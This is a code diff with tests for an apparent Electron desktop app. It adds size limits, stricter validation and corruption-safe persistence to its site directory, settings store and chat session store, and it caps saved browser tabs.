payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'),
|
||||
})
|
||||
)
|
||||
const original = JSON.stringify({
|
||||
version: 1,
|
||||
payload: encryption.encryptString(JSON.stringify(version1)).toString('base64'),
|
||||
})
|
||||
await writeFile(path, original)
|
||||
|
||||
expect(await open().list()).toEqual([])
|
||||
const store = open()
|
||||
expect(await store.list()).toEqual([])
|
||||
|
||||
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
expect(await readFile(path, 'utf8')).not.toBe(original)
|
||||
})
|
||||
|
||||
it('preserves an oversized directory until explicit clear', async () => {
|
||||
await writeFile(path, '')
|
||||
await truncate(path, 16 * 1024 * 1024 + 1)
|
||||
const store = open()
|
||||
|
||||
expect(await store.list()).toEqual([])
|
||||
expect(store.isAvailable()).toBe(false)
|
||||
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
expect((await stat(path)).size).toBe(16 * 1024 * 1024 + 1)
|
||||
|
||||
await store.clear()
|
||||
await store.remember([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
expect(await store.list()).toEqual([{ hostname: 'github.com', name: 'GitHub' }])
|
||||
})
|
||||
|
||||
it('blocks stored site records with invalid field values', async () => {
|
||||
const payload = [{ hostname: 'github.com', visits: -1 }]
|
||||
const original = JSON.stringify({
|
||||
version: 2,
|
||||
payload: encryption.encryptString(JSON.stringify(payload)).toString('base64'),
|
||||
})
|
||||
await writeFile(path, original)
|
||||
const store = open()
|
||||
|
||||
expect(await store.list()).toEqual([])
|
||||
await store.remember([{ hostname: 'linear.app', name: 'Linear' }])
|
||||
expect(await readFile(path, 'utf8')).toBe(original)
|
||||
})
|
||||
|
||||
it('skips an entry with no hostname to key it by', async () => {
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
import { readFile } from 'node:fs/promises'
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { safeStorage } from 'electron'
|
||||
import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json-file'
|
||||
import {
|
||||
FileResourceLimitError,
|
||||
readFileWithinLimit,
|
||||
removeFileIfPresent,
|
||||
writeJsonFileAtomically,
|
||||
} from '@/main/atomic-json-file'
|
||||
|
||||
/**
|
||||
* What the sites brought over from another browser are called, and what they
|
||||
@@ -30,6 +35,13 @@ import { removeFileIfPresent, writeJsonFileAtomically } from '@/main/atomic-json
|
||||
* trade for a cache of someone else's data that is now user-visible.
|
||||
*/
|
||||
const DIRECTORY_VERSION = 2
|
||||
const MAX_DIRECTORY_FILE_BYTES = 16 * 1024 * 1024
|
||||
const MAX_DIRECTORY_PAYLOAD_BYTES = 10 * 1024 * 1024
|
||||
const MAX_SITE_HOSTNAME_LENGTH = 253
|
||||
const MAX_SITE_NAME_LENGTH = 512
|
||||
const MAX_SITE_ICON_LENGTH = 512 * 1024
|
||||
const MAX_SITE_TIMESTAMP_LENGTH = 64
|
||||
const logger = createLogger('BrowserSiteDirectory')
|
||||
|
||||
/**
|
||||
* Hosts kept across all imports. Bounded because every record can carry an
|
||||
@@ -69,11 +81,24 @@ interface EncryptedDirectoryEnvelope {
|
||||
}
|
||||
|
||||
function isSiteRecord(value: unknown): value is SiteRecord {
|
||||
if (!value || typeof value !== 'object' || Array.isArray(value)) return false
|
||||
const record = value as Record<string, unknown>
|
||||
return (
|
||||
typeof value === 'object' &&
|
||||
value !== null &&
|
||||
typeof (value as SiteRecord).hostname === 'string' &&
|
||||
(value as SiteRecord).hostname !== ''
|
||||
typeof record.hostname === 'string' &&
|
||||
record.hostname.length > 0 &&
|
||||
record.hostname.length <= MAX_SITE_HOSTNAME_LENGTH &&
|
||||
(record.name === undefined ||
|
||||
(typeof record.name === 'string' && record.name.length <= MAX_SITE_NAME_LENGTH)) &&
|
||||
(record.icon === undefined ||
|
||||
(typeof record.icon === 'string' && record.icon.length <= MAX_SITE_ICON_LENGTH)) &&
|
||||
(record.visits === undefined ||
|
||||
(typeof record.visits === 'number' &&
|
||||
Number.isSafeInteger(record.visits) &&
|
||||
record.visits >= 0)) &&
|
||||
(record.importedAt === undefined ||
|
||||
(typeof record.importedAt === 'string' &&
|
||||
record.importedAt.length <= MAX_SITE_TIMESTAMP_LENGTH &&
|
||||
Number.isFinite(Date.parse(record.importedAt))))
|
||||
)
|
||||
}
|
||||
|
||||
@@ -111,6 +136,9 @@ interface EncryptionProvider {
|
||||
}
|
||||
|
||||
export class SiteDirectory {
|
||||
private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown'
|
||||
private mutationTail = Promise.resolve()
|
||||
|
||||
constructor(
|
||||
private readonly filePath: string,
|
||||
private readonly encryption: EncryptionProvider = safeStorage
|
||||
@@ -123,7 +151,7 @@ export class SiteDirectory {
|
||||
*/
|
||||
isAvailable(): boolean {
|
||||
try {
|
||||
return this.encryption.isEncryptionAvailable()
|
||||
return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable()
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
@@ -132,32 +160,75 @@ export class SiteDirectory {
|
||||
private async read(): Promise<SiteRecord[]> {
|
||||
if (!this.isAvailable()) return []
|
||||
try {
|
||||
const raw = await readFile(this.filePath)
|
||||
const raw = await readFileWithinLimit(this.filePath, MAX_DIRECTORY_FILE_BYTES)
|
||||
const envelope = JSON.parse(raw.toString('utf8')) as EncryptedDirectoryEnvelope
|
||||
if (envelope.version !== DIRECTORY_VERSION) return []
|
||||
const isLegacyEnvelope =
|
||||
envelope.version === 1 &&
|
||||
typeof envelope.payload === 'string' &&
|
||||
Object.keys(envelope).length === 2
|
||||
if (
|
||||
(!isLegacyEnvelope && envelope.version !== DIRECTORY_VERSION) ||
|
||||
typeof envelope.payload !== 'string'
|
||||
) {
|
||||
this.blockPersistence('invalid-envelope')
|
||||
return []
|
||||
}
|
||||
const decrypted = this.encryption.decryptString(Buffer.from(envelope.payload, 'base64'))
|
||||
const records = JSON.parse(decrypted) as SiteRecord[]
|
||||
// Per-record, not just per-array: everything downstream sorts and merges
|
||||
// on `hostname`, so one entry without it is a TypeError in the middle of
|
||||
// an import rather than a record that is quietly skipped.
|
||||
return Array.isArray(records) ? records.filter(isSiteRecord) : []
|
||||
} catch {
|
||||
// A missing, truncated, or foreign-keyed file reads as empty rather than
|
||||
// taking the omnibox down with it.
|
||||
if (Buffer.byteLength(decrypted, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) {
|
||||
this.blockPersistence('resource-limit')
|
||||
return []
|
||||
}
|
||||
const records = JSON.parse(decrypted) as unknown
|
||||
if (!Array.isArray(records) || records.length > MAX_SITES || !records.every(isSiteRecord)) {
|
||||
this.blockPersistence('invalid-payload')
|
||||
return []
|
||||
}
|
||||
this.persistenceState = 'writable'
|
||||
return isLegacyEnvelope ? [] : records
|
||||
} catch (error) {
|
||||
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
this.persistenceState = 'writable'
|
||||
return []
|
||||
}
|
||||
if (error instanceof FileResourceLimitError) {
|
||||
this.blockPersistence('resource-limit')
|
||||
return []
|
||||
}
|
||||
this.blockPersistence('read-failed')
|
||||
return []
|
||||
}
|
||||
}
|
||||
|
||||
private blockPersistence(
|
||||
reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit'
|
||||
): void {
|
||||
if (this.persistenceState !== 'blocked') {
|
||||
logger.warn('Browser site directory persistence is unavailable', { reason })
|
||||
}
|
||||
this.persistenceState = 'blocked'
|
||||
}
|
||||
|
||||
private async write(records: SiteRecord[]): Promise<boolean> {
|
||||
if (!this.isAvailable()) return false
|
||||
const payload = JSON.stringify(records)
|
||||
if (Buffer.byteLength(payload, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) return false
|
||||
const envelope: EncryptedDirectoryEnvelope = {
|
||||
version: DIRECTORY_VERSION,
|
||||
payload: this.encryption.encryptString(JSON.stringify(records)).toString('base64'),
|
||||
payload: this.encryption.encryptString(payload).toString('base64'),
|
||||
}
|
||||
await writeJsonFileAtomically(this.filePath, envelope)
|
||||
return true
|
||||
}
|
||||
|
||||
private enqueueMutation<T>(operation: () => Promise<T>): Promise<T> {
|
||||
const result = this.mutationTail.then(operation)
|
||||
this.mutationTail = result.then(
|
||||
() => undefined,
|
||||
() => undefined
|
||||
)
|
||||
return result
|
||||
}
|
||||
|
||||
async list(): Promise<SiteRecord[]> {
|
||||
return this.read()
|
||||
}
|
||||
@@ -170,28 +241,34 @@ export class SiteDirectory {
|
||||
* importing a second profile should add to what the browser knows, not
|
||||
* strip the first profile's sites of their names.
|
||||
*/
|
||||
async remember(records: readonly SiteRecord[]): Promise<void> {
|
||||
if (records.length === 0 || !this.isAvailable()) return
|
||||
const merged = new Map<string, SiteRecord>()
|
||||
for (const existing of await this.read()) merged.set(existing.hostname, existing)
|
||||
for (const incoming of records) {
|
||||
if (!incoming.hostname) continue
|
||||
const existing = merged.get(incoming.hostname)
|
||||
merged.set(incoming.hostname, {
|
||||
hostname: incoming.hostname,
|
||||
name: incoming.name ?? existing?.name,
|
||||
icon: incoming.icon ?? existing?.icon,
|
||||
// The most-used of the profiles a host was seen in wins, so re-importing
|
||||
// a profile that barely touches a site cannot demote it.
|
||||
visits: maxDefined(incoming.visits, existing?.visits),
|
||||
importedAt: incoming.importedAt ?? existing?.importedAt,
|
||||
})
|
||||
}
|
||||
await this.write(evictExcess([...merged.values()]))
|
||||
remember(records: readonly SiteRecord[]): Promise<void> {
|
||||
if (records.length === 0) return Promise.resolve()
|
||||
return this.enqueueMutation(async () => {
|
||||
if (!this.isAvailable()) return
|
||||
const merged = new Map<string, SiteRecord>()
|
||||
for (const existing of await this.read()) merged.set(existing.hostname, existing)
|
||||
for (const incoming of records) {
|
||||
if (!isSiteRecord(incoming)) continue
|
||||
const existing = merged.get(incoming.hostname)
|
||||
merged.set(incoming.hostname, {
|
||||
hostname: incoming.hostname,
|
||||
name: incoming.name ?? existing?.name,
|
||||
icon: incoming.icon ?? existing?.icon,
|
||||
// The most-used of the profiles a host was seen in wins, so re-importing
|
||||
// a profile that barely touches a site cannot demote it.
|
||||
visits: maxDefined(incoming.visits, existing?.visits),
|
||||
importedAt: incoming.importedAt ?? existing?.importedAt,
|
||||
})
|
||||
}
|
||||
await this.write(evictExcess([...merged.values()]))
|
||||
})
|
||||
}
|
||||
|
||||
/** Forgets every site. Runs with the rest of the browser teardown. */
|
||||
async clear(): Promise<void> {
|
||||
await removeFileIfPresent(this.filePath)
|
||||
clear(): Promise<void> {
|
||||
return this.enqueueMutation(async () => {
|
||||
await removeFileIfPresent(this.filePath)
|
||||
this.persistenceState = 'writable'
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
|
||||
import { mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { dirname, join } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
APP_NAME_FOR_CHANNEL,
|
||||
@@ -180,23 +180,58 @@ describe('createConfigStore', () => {
|
||||
expect(reloaded.getOrigin()).toBe('https://www.sim.ai')
|
||||
})
|
||||
|
||||
it('recovers from a corrupted settings file', () => {
|
||||
it('uses safe defaults until an explicit server choice replaces the corrupt file', () => {
|
||||
const filePath = tempSettingsPath()
|
||||
writeFileSync(filePath, '{not json')
|
||||
const original = '{not json'
|
||||
writeFileSync(filePath, original)
|
||||
const store = createConfigStore(filePath, {})
|
||||
|
||||
expect(store.isPersistenceAvailable()).toBe(false)
|
||||
expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
|
||||
store.set('zoomLevel', 1.5)
|
||||
store.flush()
|
||||
expect(readFileSync(filePath, 'utf8')).toBe(original)
|
||||
|
||||
expect(store.setOrigin('https://self-hosted.example')).toEqual({
|
||||
ok: true,
|
||||
origin: 'https://self-hosted.example',
|
||||
})
|
||||
expect(store.isPersistenceAvailable()).toBe(true)
|
||||
expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://self-hosted.example')
|
||||
const settingsDirectory = dirname(filePath)
|
||||
const backups = readdirSync(settingsDirectory).filter((name) => name.includes('.corrupt-'))
|
||||
expect(backups).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('falls back to the default origin when the stored origin is invalid', () => {
|
||||
it('does not carry settings across an invalid stored origin or retain them after repair', () => {
|
||||
const filePath = tempSettingsPath()
|
||||
writeFileSync(filePath, JSON.stringify({ origin: 'http://evil.example' }))
|
||||
const original = JSON.stringify({
|
||||
origin: 'http://evil.example',
|
||||
browserKnownSites: [{ hostname: 'private.example', lastVisitedAt: '2026-01-01' }],
|
||||
browserDownloadDirectory: '/private/downloads',
|
||||
})
|
||||
writeFileSync(filePath, original)
|
||||
const store = createConfigStore(filePath, {})
|
||||
|
||||
expect(store.isPersistenceAvailable()).toBe(false)
|
||||
expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
|
||||
expect(store.get('browserKnownSites')).toBeUndefined()
|
||||
expect(store.get('browserDownloadDirectory')).toBeUndefined()
|
||||
store.set('zoomLevel', 2)
|
||||
store.flush()
|
||||
expect(readFileSync(filePath, 'utf8')).toBe(original)
|
||||
|
||||
expect(store.setOrigin('https://self-hosted.example').ok).toBe(true)
|
||||
const repaired = JSON.parse(readFileSync(filePath, 'utf8'))
|
||||
expect(repaired.browserKnownSites).toBeUndefined()
|
||||
expect(repaired.browserDownloadDirectory).toBeUndefined()
|
||||
expect(readFileSync(filePath, 'utf8')).not.toContain('private.example')
|
||||
})
|
||||
|
||||
it('honors a valid SIM_DESKTOP_ORIGIN override without persisting it', () => {
|
||||
const filePath = tempSettingsPath()
|
||||
const store = createConfigStore(filePath, { SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:4600' })
|
||||
expect(store.isPersistenceAvailable()).toBe(true)
|
||||
expect(store.getOrigin()).toBe('http://127.0.0.1:4600')
|
||||
store.set('zoomLevel', 1)
|
||||
store.flush()
|
||||
@@ -236,6 +271,33 @@ describe('createConfigStore', () => {
|
||||
expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://sim.example.com')
|
||||
})
|
||||
|
||||
it('keeps the active origin unchanged when its immediate write fails', () => {
|
||||
const filePath = tempSettingsPath()
|
||||
const parent = dirname(filePath)
|
||||
const store = createConfigStore(filePath, {})
|
||||
rmSync(parent, { recursive: true })
|
||||
writeFileSync(parent, 'not a directory')
|
||||
|
||||
try {
|
||||
expect(store.setOrigin('https://sim.example.com')).toEqual({
|
||||
ok: false,
|
||||
error: 'Could not save the desktop settings file',
|
||||
})
|
||||
expect(store.getOrigin()).toBe(DEFAULT_ORIGIN)
|
||||
expect(store.isPersistenceAvailable()).toBe(false)
|
||||
|
||||
rmSync(parent)
|
||||
mkdirSync(parent)
|
||||
expect(store.setOrigin('https://sim.example.com')).toEqual({
|
||||
ok: true,
|
||||
origin: 'https://sim.example.com',
|
||||
})
|
||||
expect(store.isPersistenceAvailable()).toBe(true)
|
||||
} finally {
|
||||
rmSync(parent, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('ignores an invalid SIM_DESKTOP_ORIGIN override', () => {
|
||||
const store = createConfigStore(tempSettingsPath(), {
|
||||
SIM_DESKTOP_ORIGIN: 'http://evil.example',
|
||||
|
||||
@@ -240,12 +240,13 @@ const DEFAULT_SETTINGS: DesktopSettings = {
|
||||
|
||||
export interface ConfigStore {
|
||||
readonly filePath: string
|
||||
isPersistenceAvailable(): boolean
|
||||
getOrigin(): string
|
||||
setOrigin(origin: string): OriginValidation
|
||||
get<K extends keyof DesktopSettings>(key: K): DesktopSettings[K]
|
||||
set<K extends keyof DesktopSettings>(key: K, value: DesktopSettings[K]): void
|
||||
/** Writes any debounced change immediately. Called on quit. */
|
||||
flush(): void
|
||||
/** Writes any debounced change immediately and reports whether persistence is healthy. */
|
||||
flush(): boolean
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -277,21 +278,38 @@ export function createConfigStore(
|
||||
): ConfigStore {
|
||||
let settings: DesktopSettings = { ...DEFAULT_SETTINGS }
|
||||
let rewroteOrigin = false
|
||||
let persistenceBlocked = false
|
||||
try {
|
||||
const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as Partial<DesktopSettings>
|
||||
settings = { ...DEFAULT_SETTINGS, ...parsed }
|
||||
const validated = validateOriginInput(settings.origin)
|
||||
const loaded = validated.ok ? validated.origin : DEFAULT_ORIGIN
|
||||
settings.origin = canonicalOrigin(loaded)
|
||||
rewroteOrigin = settings.origin !== loaded
|
||||
if (rewroteOrigin) {
|
||||
logger.info('Rewrote stored server origin to its canonical form', {
|
||||
from: loaded,
|
||||
to: settings.origin,
|
||||
})
|
||||
const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as unknown
|
||||
if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
|
||||
persistenceBlocked = true
|
||||
} else {
|
||||
const loadedSettings = { ...DEFAULT_SETTINGS, ...(parsed as Partial<DesktopSettings>) }
|
||||
const validated = validateOriginInput(loadedSettings.origin)
|
||||
if (!validated.ok) {
|
||||
persistenceBlocked = true
|
||||
} else {
|
||||
const loaded = validated.origin
|
||||
settings = loadedSettings
|
||||
settings.origin = canonicalOrigin(loaded)
|
||||
rewroteOrigin = settings.origin !== loaded
|
||||
if (rewroteOrigin) {
|
||||
logger.info('Rewrote stored server origin to its canonical form', {
|
||||
from: loaded,
|
||||
to: settings.origin,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
} catch (error) {
|
||||
if ((error as NodeJS.ErrnoException).code !== 'ENOENT') {
|
||||
persistenceBlocked = true
|
||||
}
|
||||
}
|
||||
if (persistenceBlocked) {
|
||||
settings = { ...DEFAULT_SETTINGS }
|
||||
rewroteOrigin = false
|
||||
logger.warn('Desktop settings persistence is unavailable because the existing file is invalid')
|
||||
}
|
||||
|
||||
const envOverride = env.SIM_DESKTOP_ORIGIN ? validateOriginInput(env.SIM_DESKTOP_ORIGIN) : null
|
||||
@@ -302,13 +320,17 @@ export function createConfigStore(
|
||||
let saveTimer: ReturnType<typeof setTimeout> | null = null
|
||||
|
||||
/** Writes the whole file now and cancels any pending debounced write. */
|
||||
const writeNow = () => {
|
||||
const writeNow = (): boolean => {
|
||||
if (saveTimer) clearTimeout(saveTimer)
|
||||
saveTimer = null
|
||||
if (persistenceBlocked) return false
|
||||
try {
|
||||
writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT)
|
||||
return true
|
||||
} catch (error) {
|
||||
persistenceBlocked = true
|
||||
logger.error('Failed to persist desktop settings', { error })
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
@@ -322,7 +344,7 @@ export function createConfigStore(
|
||||
* not were paying a full fsync per event.
|
||||
*/
|
||||
const save = () => {
|
||||
if (saveTimer) return
|
||||
if (persistenceBlocked || saveTimer) return
|
||||
saveTimer = setTimeout(writeNow, SAVE_DEBOUNCE_MS)
|
||||
saveTimer.unref?.()
|
||||
}
|
||||
@@ -337,6 +359,9 @@ export function createConfigStore(
|
||||
|
||||
return {
|
||||
filePath,
|
||||
isPersistenceAvailable() {
|
||||
return !persistenceBlocked
|
||||
},
|
||||
getOrigin() {
|
||||
if (envOverride?.ok) {
|
||||
return envOverride.origin
|
||||
@@ -355,17 +380,35 @@ export function createConfigStore(
|
||||
// only repairs it on the next launch. The canonical origin is also
|
||||
// returned so the caller sees what was actually stored.
|
||||
const origin = canonicalOrigin(validated.origin)
|
||||
if (persistenceBlocked) {
|
||||
const previousOrigin = settings.origin
|
||||
try {
|
||||
settings.origin = origin
|
||||
writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT)
|
||||
persistenceBlocked = false
|
||||
logger.warn('Recovered desktop settings persistence')
|
||||
return { ok: true, origin }
|
||||
} catch (error) {
|
||||
settings.origin = previousOrigin
|
||||
logger.error('Could not recover invalid desktop settings', { error })
|
||||
return { ok: false, error: 'Could not repair the desktop settings file' }
|
||||
}
|
||||
}
|
||||
// Re-confirming the origin already stored is the common case in the
|
||||
// server picker, and setOrigin's write is a synchronous mkdir + whole-file
|
||||
// write + rename on the main thread. There is nothing to persist.
|
||||
if (origin === settings.origin) {
|
||||
return { ok: true, origin }
|
||||
}
|
||||
const previousOrigin = settings.origin
|
||||
settings.origin = origin
|
||||
// Not debounced: changing the origin tears the session down and
|
||||
// reloads, so a pending write could be lost on the way out — and this
|
||||
// is the one setting whose loss strands the app on the wrong server.
|
||||
writeNow()
|
||||
if (!writeNow()) {
|
||||
settings.origin = previousOrigin
|
||||
return { ok: false, error: 'Could not save the desktop settings file' }
|
||||
}
|
||||
return { ok: true, origin }
|
||||
},
|
||||
get(key) {
|
||||
@@ -383,8 +426,7 @@ export function createConfigStore(
|
||||
save()
|
||||
},
|
||||
flush() {
|
||||
if (!saveTimer) return
|
||||
writeNow()
|
||||
return saveTimer ? writeNow() : !persistenceBlocked
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,4 +1,12 @@
|
||||
import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'
|
||||
import {
|
||||
existsSync,
|
||||
mkdtempSync,
|
||||
readFileSync,
|
||||
rmSync,
|
||||
statSync,
|
||||
truncateSync,
|
||||
writeFileSync,
|
||||
} from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
@@ -121,6 +129,38 @@ describe('DesktopChatSessionStore', () => {
|
||||
expect(statSync(filePath).mode & 0o077).toBe(0)
|
||||
})
|
||||
|
||||
it('does not replace the durable store with an oversized encrypted envelope', () => {
|
||||
const provider = encryption()
|
||||
const store = open(provider)
|
||||
store.setTerminal(ORIGIN, 'chat-existing', TERMINAL)
|
||||
expect(store.flush()).toBe(true)
|
||||
const existing = readFileSync(filePath, 'utf8')
|
||||
|
||||
vi.mocked(provider.encryptString).mockReturnValueOnce(Buffer.alloc(8 * 1024 * 1024))
|
||||
store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
|
||||
|
||||
expect(store.flush()).toBe(false)
|
||||
expect(readFileSync(filePath, 'utf8')).toBe(existing)
|
||||
|
||||
expect(store.flush()).toBe(true)
|
||||
expect(readFileSync(filePath, 'utf8')).not.toBe(existing)
|
||||
})
|
||||
|
||||
it('preserves an oversized store until explicit clear resets persistence', () => {
|
||||
writeFileSync(filePath, '')
|
||||
truncateSync(filePath, 10 * 1024 * 1024 + 1)
|
||||
const store = open(encryption())
|
||||
|
||||
expect(store.initialize()).toBe(false)
|
||||
store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
|
||||
expect(store.flush()).toBe(false)
|
||||
expect(statSync(filePath).size).toBe(10 * 1024 * 1024 + 1)
|
||||
|
||||
store.clear()
|
||||
store.setTerminal(ORIGIN, 'chat-new', TERMINAL)
|
||||
expect(store.flush()).toBe(true)
|
||||
})
|
||||
|
||||
it('keeps a pending chat in memory until migration promotes it to a durable chat id', () => {
|
||||
const provider = encryption()
|
||||
const pending = open(provider)
|
||||
@@ -245,6 +285,28 @@ describe('DesktopChatSessionStore', () => {
|
||||
expect(terminal?.activeIndex).toBe(11)
|
||||
})
|
||||
|
||||
it('bounds persisted browser tabs while retaining pinned and active entries', () => {
|
||||
const store = open()
|
||||
const tabs = Array.from({ length: 40 }, (_, index) => ({
|
||||
url: `https://tab-${index}.example/`,
|
||||
pinned: index < 4,
|
||||
}))
|
||||
|
||||
expect(
|
||||
store.setBrowser(ORIGIN, 'chat-bounded', {
|
||||
v: 1,
|
||||
tabs,
|
||||
activeIndex: tabs.length - 1,
|
||||
downloads: [],
|
||||
})
|
||||
).toBe(true)
|
||||
|
||||
const snapshot = store.getBrowser(ORIGIN, 'chat-bounded')
|
||||
expect(snapshot?.tabs).toHaveLength(32)
|
||||
expect(snapshot?.tabs.filter((tab) => tab.pinned)).toHaveLength(4)
|
||||
expect(snapshot?.tabs[snapshot.activeIndex]?.url).toBe('https://tab-39.example/')
|
||||
})
|
||||
|
||||
it('filters unsafe or malformed values while loading an encrypted payload', () => {
|
||||
const provider = encryption()
|
||||
writeEncryptedPayload(provider, {
|
||||
|
||||
@@ -1,13 +1,15 @@
|
||||
import { readFileSync, unlinkSync } from 'node:fs'
|
||||
import { unlinkSync } from 'node:fs'
|
||||
import { isAbsolute } from 'node:path'
|
||||
import { isDesktopScopeId, isPendingDesktopScopeId } from '@sim/desktop-bridge'
|
||||
import { isRecordLike } from '@sim/utils/object'
|
||||
import { safeStorage } from 'electron'
|
||||
import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
|
||||
import { readFileWithinLimitSync, writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
|
||||
|
||||
const STORE_VERSION = 1
|
||||
const SNAPSHOT_VERSION = 1
|
||||
const MAX_DURABLE_ENTRIES = 100
|
||||
const MAX_STORE_BYTES = 10 * 1024 * 1024
|
||||
const MAX_BROWSER_TABS = 32
|
||||
const MAX_ORIGIN_LENGTH = 2_048
|
||||
const MAX_URL_LENGTH = 8_192
|
||||
const MAX_CWD_LENGTH = 4_096
|
||||
@@ -141,13 +143,54 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null
|
||||
return null
|
||||
}
|
||||
|
||||
const tabs: BrowserSessionSnapshot['tabs'] = []
|
||||
for (const candidate of value.tabs) {
|
||||
const requestedActiveIndex =
|
||||
typeof value.activeIndex === 'number' && Number.isInteger(value.activeIndex)
|
||||
? value.activeIndex
|
||||
: 0
|
||||
const activeSourceIndex =
|
||||
requestedActiveIndex >= 0 && requestedActiveIndex < value.tabs.length
|
||||
? requestedActiveIndex
|
||||
: null
|
||||
const selectedTabs: Array<{
|
||||
tab: BrowserSessionSnapshot['tabs'][number]
|
||||
sourceIndex: number
|
||||
}> = []
|
||||
const replaceableTabIndex = (): number => {
|
||||
for (let index = selectedTabs.length - 1; index >= 0; index--) {
|
||||
const entry = selectedTabs[index]
|
||||
if (entry.sourceIndex !== activeSourceIndex && !entry.tab.pinned) return index
|
||||
}
|
||||
return -1
|
||||
}
|
||||
for (let sourceIndex = 0; sourceIndex < value.tabs.length; sourceIndex++) {
|
||||
const candidate = value.tabs[sourceIndex]
|
||||
if (!isRecordLike(candidate) || typeof candidate.pinned !== 'boolean') continue
|
||||
const url = normalizeBrowserUrl(candidate.url)
|
||||
if (url === null) continue
|
||||
tabs.push({ url, pinned: candidate.pinned })
|
||||
const next = { tab: { url, pinned: candidate.pinned }, sourceIndex }
|
||||
if (selectedTabs.length < MAX_BROWSER_TABS) {
|
||||
selectedTabs.push(next)
|
||||
continue
|
||||
}
|
||||
if (sourceIndex === activeSourceIndex) {
|
||||
const replacementIndex = replaceableTabIndex()
|
||||
selectedTabs[replacementIndex >= 0 ? replacementIndex : selectedTabs.length - 1] = next
|
||||
continue
|
||||
}
|
||||
if (candidate.pinned) {
|
||||
const replacementIndex = replaceableTabIndex()
|
||||
if (replacementIndex >= 0) selectedTabs[replacementIndex] = next
|
||||
}
|
||||
}
|
||||
selectedTabs.sort((left, right) => left.sourceIndex - right.sourceIndex)
|
||||
const tabs = selectedTabs.map(({ tab }) => tab)
|
||||
const selectedActiveIndex = selectedTabs.findIndex(
|
||||
({ sourceIndex }) => sourceIndex === activeSourceIndex
|
||||
)
|
||||
const activeIndex =
|
||||
selectedActiveIndex >= 0
|
||||
? selectedActiveIndex
|
||||
: normalizeActiveIndex(requestedActiveIndex, tabs.length)
|
||||
|
||||
const downloads: BrowserSessionSnapshot['downloads'] = []
|
||||
for (const candidate of value.downloads) {
|
||||
@@ -193,7 +236,7 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null
|
||||
return {
|
||||
v: SNAPSHOT_VERSION,
|
||||
tabs,
|
||||
activeIndex: normalizeActiveIndex(value.activeIndex, tabs.length),
|
||||
activeIndex,
|
||||
downloads,
|
||||
}
|
||||
}
|
||||
@@ -275,7 +318,9 @@ export class DesktopChatSessionStore {
|
||||
if (!this.isAvailable()) return false
|
||||
|
||||
try {
|
||||
const envelope = JSON.parse(readFileSync(this.filePath, 'utf8')) as unknown
|
||||
const envelope = JSON.parse(
|
||||
readFileWithinLimitSync(this.filePath, MAX_STORE_BYTES).toString('utf8')
|
||||
) as unknown
|
||||
if (
|
||||
!isRecordLike(envelope) ||
|
||||
envelope.v !== STORE_VERSION ||
|
||||
@@ -297,19 +342,20 @@ export class DesktopChatSessionStore {
|
||||
const loaded: SessionEntry[] = []
|
||||
for (const candidate of payload.entries) {
|
||||
const entry = this.normalizeEntry(candidate)
|
||||
if (entry && isDurableScope(entry.scope)) loaded.push(entry)
|
||||
if (!entry || !isDurableScope(entry.scope)) continue
|
||||
loaded.push(entry)
|
||||
loaded.sort(
|
||||
(left, right) =>
|
||||
right.lastAccessedAt - left.lastAccessedAt ||
|
||||
keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope))
|
||||
)
|
||||
if (loaded.length > MAX_DURABLE_ENTRIES) loaded.pop()
|
||||
}
|
||||
|
||||
loaded.sort(
|
||||
(left, right) =>
|
||||
right.lastAccessedAt - left.lastAccessedAt ||
|
||||
keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope))
|
||||
)
|
||||
|
||||
for (const [key, entry] of this.entries) {
|
||||
if (isDurableScope(entry.scope)) this.entries.delete(key)
|
||||
}
|
||||
